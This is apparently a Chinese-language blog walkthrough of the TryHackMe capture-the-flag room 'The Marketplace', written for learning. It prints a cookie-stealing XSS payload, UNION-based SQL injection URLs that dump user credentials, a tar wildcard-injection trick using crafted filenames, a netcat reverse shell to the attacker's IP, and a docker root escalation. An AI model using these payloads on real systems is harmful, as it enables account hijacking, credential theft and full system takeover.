TryHackMe | The Marketplace
前言
基于目前的就业形势,不会渗透真的很难找碗饭吃😭😭😭,写一下博客记录一下学习过程
XSS
nmap扫描一下端口,开了80、22和Filenet-TMS服务
首先看看web服务,有两篇文章。
文章里给了联系方式和举报该文章。举报后管理员会来检查该文章是否违规
也就是我们可以构造一个XSS页面,然后让举报后让管理员访问
进入http://10.10.109.227/new
创建一个文章
<script>document.location='http://10.17.35.179:12345/?cookie='+document.cookie</script>
因为我们点进去就会执行并跳转了,所以可以直接选择进入http://10.10.109.227/report/3
替换一下cookie里的token值,即可成为管理员
Sql注入
http://10.10.215.254/admin?user=1 and sleEp(3);
http://10.10.215.254/admin?user=-1 union select database(),2,3,4
http://10.10.215.254/admin?user=-1 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'
http://10.10.215.254/admin?user=-1 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='users'
http://10.10.215.254/admin?user=-1 union select group_concat(username,password),2,3,4 from users
得到用户密码hash,但没爆破出来,从另一个表中获得明文密码
http://10.10.215.254/admin?user=-1 union select group_concat(id,user_from,' || ',user_to,' || ',message_content,' || ',is_read,' || '),2,3,4 from messages
ID: 11 || 3 || Hello! An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password. Your new password is: @b_ENXkGYUCAv3zJ || 1 || ,21 || 4 || Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace! || 1 || ,31 || 4 || Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace! || 1 || ,41 || 4 || Thank you for your report. We have reviewed the listing and found nothing that violates our rules. || 1 || ,51 || 4 || Thank you for your report. We have been unable to review the listing at this time. Something may be blocking our ability to view it, such as alert boxes, which are blocked in our employee's browsers. || 1 || ,61 || 4 || Thank you for your report. One of our ad
Is administrator: true
通过user表查询刚才的ID得知是jake的密码
http://10.10.215.254/admin?user=-1 union select group_concat(id,'||',username, '||'),2,3,4 from users
使用jake/@b_ENXkGYUCAv3zJ
连上ssh
THM{c3648ee7af1369676e3e4b15da6dc0b4}
横向 + suid提权
这里发现sudo -l
发现另一个用户michael
创建的backup.sh,并且我们的jake
用户运行,而且michael
在docker组里,貌似想让我们获得michael
的权限,通过以下命令反弹shell。
echo "mkfifo /tmp/uvity; nc 10.17.35.179 4444 0</tmp/uvity | /bin/sh >/tmp/uvity 2>&1; rm /tmp/uvity" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo -u michael ./backup.sh
echo "mkfifo /tmp/uvity; nc 10.17.35.179 4444 0</tmp/uvity | /bin/sh >/tmp/uvity 2>&1; rm /tmp/uvity" > shell.sh
该命令将字符串mkfifo /tmp/uvity; nc 10.17.35.179 4444 0</tmp/uvity | /bin/sh >/tmp/uvity 2>&1; rm /tmp/uvity
写入名为shell.sh
的文件中。这个命令实际上是将一个反向 shell 放在/tmp/uvity
管道中,将管道中的输出流重定向到远程主机的 IP 地址为10.17.35.179
、端口为4444
的网络监听程序中。这个命令还会将 shell 的标准输入、标准输出和标准错误流重定向到/tmp/uvity
管道中,并在命令执行完毕后删除这个管道文件。echo "" > "--checkpoint-action=exec=sh shell.sh"
该命令将一个空字符串写入名为--checkpoint-action=exec=sh shell.sh
的文件中。这个文件名中包含了--checkpoint-action
参数,它指定在运行tar
命令时触发的动作,这里指定的动作是执行一个名为shell.sh
的脚本。echo "" > --checkpoint=1
该命令将一个空字符串写入--checkpoint
参数指定的检查点文件中,这里指定的检查点文件是编号为1
的检查点文件。这些命令一起构成了一个攻击脚本,用于利用 GNUtar
命令的一个漏洞,在解包压缩文件时执行恶意代码。这个攻击脚本在触发第一个检查点时会执行shell.sh
脚本,将一个反向 shell 连接回攻击者控制的远程主机。
弹回来的shell功能并不完善,弹一个TTY Spawn Shell
回来
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后使用docker进行suid提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh